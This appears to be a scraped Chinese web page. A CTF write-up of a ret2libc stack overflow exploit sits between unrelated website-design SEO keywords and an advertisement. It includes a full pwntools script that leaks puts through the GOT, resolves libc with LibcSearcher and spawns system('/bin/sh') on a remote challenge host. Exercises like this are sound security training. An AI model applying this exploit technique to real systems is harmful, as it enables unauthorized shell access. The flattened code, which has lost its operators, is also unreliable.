在线网站设计工具互联网公司有哪几家
2026/1/20 6:12:27 网站建设 项目流程
在线网站设计工具,互联网公司有哪几家,安阳市网络公司,长春市建设工程信息网官网步骤使用checksec查看由于这道题没有后门函数,并且只开启了栈不可执行保护,于是我们使用ret2libc需要执行两次函数流程,第一次泄露libc地址,第二次通过泄露的地址来执行system函数payload1:先通过栈溢出覆盖返回地址,然后使用pop rdi;ret来将puts 的 GOT 表地址传入 rdi 寄存器…步骤使用checksec查看由于这道题没有后门函数,并且只开启了栈不可执行保护,于是我们使用ret2libc需要执行两次函数流程,第一次泄露libc地址,第二次通过泄露的地址来执行system函数payload1:先通过栈溢出覆盖返回地址,然后使用pop rdi;ret来将puts 的 GOT 表地址传入 rdi 寄存器然后调用 puts 函数打印puts_got中存储的 puts 真实地址puts 执行完后跳回 main 函数重新触发输入提示方便发送第二个 Payload然后计算 libc 基址与目标地址payload2:溢出后使用ret来调整栈为 16 字节对齐然后通过pop rdi;ret来将/bin/sh地址传入rdi寄存器最后调用system函数来执行system(/bin/sh)main函数地址为0x400698通过read函数可以溢出buf缓冲区,只需要0x200x8个字节pop rdi;ret 地址: 0x400763ret地址: 0x400506本地调试:这里选择的9获取flag:远程连接选择的1expfrom pwn import * from LibcSearcher import * context.log_level debug #p process(./ret2libc) p remote(node5.buuoj.cn,26594) elf ELF(./ret2libc) pop_rdi_addr 0x400763 ret_addr 0x400506 main_addr 0x400698 puts_plt elf.plt[puts] puts_got elf.got[puts] payload1 ba*(0x208) p64(pop_rdi_addr) p64(puts_got) p64(puts_plt) p64(main_addr) p.sendlineafter(Show me your magic again\n,payload1) p.recvuntil(bSee you next time\n) puts_addr u64(p.recvline().strip().ljust(8, b\x00)) print(hex(puts_addr)) libc LibcSearcher(puts,puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh libc_base libc.dump(str_bin_sh) payload2 ba*(0x208) p64(ret_addr) p64(pop_rdi_addr) p64(bin_sh) p64(system_addr) p.sendlineafter(Show me your magic again\n,payload2) p.interactive()

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询